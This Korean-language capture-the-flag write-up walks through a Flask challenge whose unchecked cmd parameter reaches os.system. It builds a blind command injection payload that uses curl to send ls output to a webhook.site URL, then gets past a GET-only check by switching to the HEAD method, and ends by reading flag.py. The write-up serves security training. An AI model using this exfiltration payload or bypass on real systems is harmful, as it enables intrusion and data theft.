문제분석 & 풀이
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
cmd 파라미터로 전송하면 os.system(cmd)
가 실행되면서 시스템 명령이 실행되는 루틴이다.
cmd 파라미터에 대한 검증이 없어서 command injection을 수행할 수 있는 환경이다.
다만, os.system(cmd)
를 실행한 결과를 응답하지 않는다. 따라서 blind command injection을 수행해야한다.
blind command injection을 수행하는 방식은 개인 서버로 명령 실행결과를 전송하도록 payload를 구성하는 것이다.
curl https://webhook.site/b96b4c5e-a882-414c-900f-8637f13e0356 -d "$(ls)"
필자는 curl을 이용해서 webhook으로 ls 명령 실행결과를 전송하는 payload를 작성했다.
payload를 전송해보자.
실행결과는 아무 결과도 나타나지않았다.
if request.method == 'GET':
''
코드를 보면 request.method가 GET인 경우에는 os.system(cmd)
을 실행하지 않도록 구성됐다.
하지만 라우팅 부분을 보면 @app.route('/' , methods=['GET'])
로 GET으로만 요청하도록 설정됐다.
GET으로만 전송 가능한 상황인데, GET으로 전송하면 system 함수를 실행하지는 못하는 모순적인 상황이 발생한다.
이를 우회하기 위해서는 HTTP 메소드에 대한 개념이 필요하다.
HTTP 메소드는 크게 다음과 같이 9가지가 존재한다.
○ HTTP 주요 메소드
- GET : 리소스 조회
- POST : 요청 데이터 처리, 주로 데이터 등록에 사용
- PUT : 리소스를 대체, 해당 리소스가 없으면 생성
- PATCH : 리소스를 일부만 변경
- DELETE : 리소스 삭제
○ HTTP 기타 메소드
- HEAD: GET과 동일하지만 메시지 부분을 제외하고, 상태 줄과 헤더만 반환
- OPTIONS: 대상 리소스에 대한 통신 가능 옵션을 설명(주로 CORS에서 사용)
- CONNECT: 대상 자원으로 식별되는 서버에 대한 터널을 설정
- TRACE: 대상 리소스에 대한 경로를 따라 메시지 루프백 테스트를 수행
기타 메소드에서 HEAD를 볼 수 있다. HEAD 메소드는 GET과 거의 동일한 역할을 수행하는 메소드이다.
그렇다면, GET 대신에 HEAD 메소드로 요청하면 우회되지않을까?
시도해보자.
버프스위트를 이용해서 패킷을 잡고 메소드부분을 HEAD로 변경해서 요청했다.
webhook에서 확인해보니, ls 명령 결과가 나타난다.
flag.py라는 파일이 있는 것을 볼 수 있고 cat flag.py
를 수행하는 요청을 전송했다.